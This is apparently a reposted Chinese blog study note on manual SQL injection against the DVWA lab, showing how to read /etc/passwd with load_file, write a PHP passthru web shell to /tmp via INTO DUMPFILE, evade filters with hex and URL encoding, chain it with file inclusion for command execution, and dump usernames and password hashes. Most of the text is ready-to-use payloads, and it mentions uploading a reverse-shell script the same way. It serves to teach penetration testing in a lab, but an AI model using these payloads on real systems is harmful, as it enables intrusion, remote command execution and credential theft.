天天看點

Kali學習筆記40:SQL手工注入(2)

上一篇講到可以通過注入得到資料庫中所有的表資訊

而SQL注入能不能做資料庫之外的事情呢?

讀取檔案:

' union select null,load_file('/etc/passwd') -- 

Kali學習筆記40:SQL手工注入(2)

為了友善進行測試,後邊我使用Burpsuite

既然可以讀取檔案了,那麼也就可以寫檔案:比如經典的PHP一句話

' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/var/www/a.php" -- 

Kali學習筆記40:SQL手工注入(2)

結果是無法寫入檔案,這是什麼原因呢?

我猜測是目錄權限的問題

于是去掉/var/www

' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE 'a.php' -- 

Kali學習筆記40:SQL手工注入(2)

成功,是以得出應該是目錄問題

首先我們看一下上傳成功的檔案在哪個目錄:

Kali學習筆記40:SQL手工注入(2)

發現在/var/lib/mysql/dvwa下存放

Kali學習筆記40:SQL手工注入(2)

檢視後發現屬主和屬組是Mysql,其他使用者無法通路,甚至mysql組其他使用者都沒有權限

然後我們以root的身份進入dvwa目錄檢視a.php

Kali學習筆記40:SQL手工注入(2)

那麼我們就沒有辦法把這一句話PHP檔案寫入到指定位置了嗎?

我們可以結合以前提到的檔案包含漏洞,寫入通用目錄/tmp/,最終達到指令執行

實作:

寫入:注意這裡的單雙引号

' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/tmp/a.php" -- 

然後利用檔案包含漏洞:

Kali學習筆記40:SQL手工注入(2)

最終成功!

是以SQL注入寫檔案,是以mysql使用者寫入的,是以可以采用中間目錄的方法,然後結合其他漏洞完成指令執行

如果目标系統管理者的權限配置不當,那麼隻要能夠SQL注入,就可以直接拿到shell

既然可以上傳一句話PHP,那麼也可以上傳反彈連接配接PHP腳本

找到Kali自帶的PHP反彈連接配接腳本,重命名為b.php,利用xxd轉換為十六進制

由于伺服器通常會過濾<?以及換行符,我們再使用tr去除換行符

Kali學習筆記40:SQL手工注入(2)

得到一堆16進制,複制出來,替換位置(1)

' union select null,(0x(1)) INTO DUMPFILE "/tmp/b.php" -- 

發送之後,理論上會成功,但是由于URL過長,報錯

Kali學習筆記40:SQL手工注入(2)

可以換一個小木馬,甚至就使用剛才的a.php

 '%20union%20select%20null,%20(0x3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e)%20INTO%20DUMPFILE%20"/tmp/b.php"%20--%20

進行URL編碼後就是上邊的結果:注意(0x之前必須加一個空格!

Kali學習筆記40:SQL手工注入(2)

在metasploitable中查到了,實際上就是剛才的a.php内容,但是我們使用十六進制編碼繞過了過濾

驗證指令執行:

Kali學習筆記40:SQL手工注入(2)

成功!

有時候,資料庫的内容太多,我們不可以在一個頁面中觀看

是以考慮如何直接把資料庫下載下傳下來

 ' union select null,concat(user,0x3a,password) from users INTO OUTFILE "/tmp/a.db" -- 

檢視:

Kali學習筆記40:SQL手工注入(2)

擴充:一個思路

我們甚至可以直接給目标開發一個功能:自定義一個表單,輸入資訊,然後在資料庫插入資訊

' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
$username<BR>"; echo "avatar: $avatar<BR>";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\
\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\
\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
><br> <input type="text" name="first_name"><br> <input type="text"
name="last_name"><br> <input type="text" name="username"><br>
<input type="text" name="avatar"><br> <input type="submit" name="submit"
value="Submit Form"><br> </form>' INTO DUMPFILE "/tmp/user.php" --       

 然後利用檔案包含漏洞,即可利用

這種方式實際上并沒有成功,不過可以作為一個思路

轉載于:https://www.cnblogs.com/xuyiqing/p/10361199.html